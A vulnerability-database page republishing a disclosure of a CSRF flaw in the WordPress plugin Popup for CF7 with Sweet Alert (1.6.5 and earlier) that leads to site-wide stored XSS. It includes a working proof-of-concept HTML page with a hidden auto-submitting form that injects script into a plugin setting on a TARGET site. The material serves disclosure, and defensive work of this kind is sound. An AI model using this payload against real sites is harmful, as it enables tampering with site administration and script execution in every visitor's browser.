Lucene search
+L

WordPress Popup for CF7 with Sweet Alert 1.6.5 Cross Site Request Forgery

🗓️ 11 Sep 2026 00:00:00Reported by TestounType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 4 Views

CSRF in Popup for CF7 with Sweet Alert <= 1.6.5 leads to site-wide stored XSS.

Related
Code
# CVE-2026-65540
    Popup for CF7 with Sweet Alert <= 1.6.5 - Cross-Site Request Forgery
    
    ## Plugin URL
    https://wordpress.org/plugins/cf7-sweet-alert-popup/
    
    ## Description
    The plugin's settings handler contains a logic error in its nonce verification disabling all CSRF protection. 
    An unauthenticated attacker can exploit this by tricking an authenticated administrator into visiting a malicious page with a hidden auto-submitting form, arbitrarily modifying the plugin settings.  
    The submitted values are stored without sanitization and injected verbatim into a <script> block on every frontend page via wp_head, resulting in site-wide stored XSS affecting all visitors.
    
    ## POC
    1. Host the following HTML page on a separate server:
    ```
    <!DOCTYPE html>
    <html>
    <body>
    <h1>Hello</h1>
    <iframe name="hiddenframe" style="display:none"></iframe>
    <form style="visibility:hidden" action="http://TARGET/wp-admin/admin.php?page=cf7-simplepopup"
          method="POST" id="csrf" target="hiddenframe">
      <input name="cf7simplePopupWidth" value="500;alert(document.domain)">
      <input name="cf7simplePopupNonce" value="invalid_nonce">
    </form>
    <script>document.getElementById('csrf').submit();</script>
    </body>
    </html>
    ```
    2. Log in to WordPress as an administrator
    3. Visit the malicious page
    4. (Optional) Navigate to http://TARGET/wp-admin/admin.php?page=cf7-simplepopup — confirm the Width field now contains 500;alert(document.domain)
    5. Visit any frontend page — alert(document.domain) executes in the browser confirming stored XSS

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Sep 2026 00:00Current
CVSS 3.17.1
EPSS0.00128
SSVC
4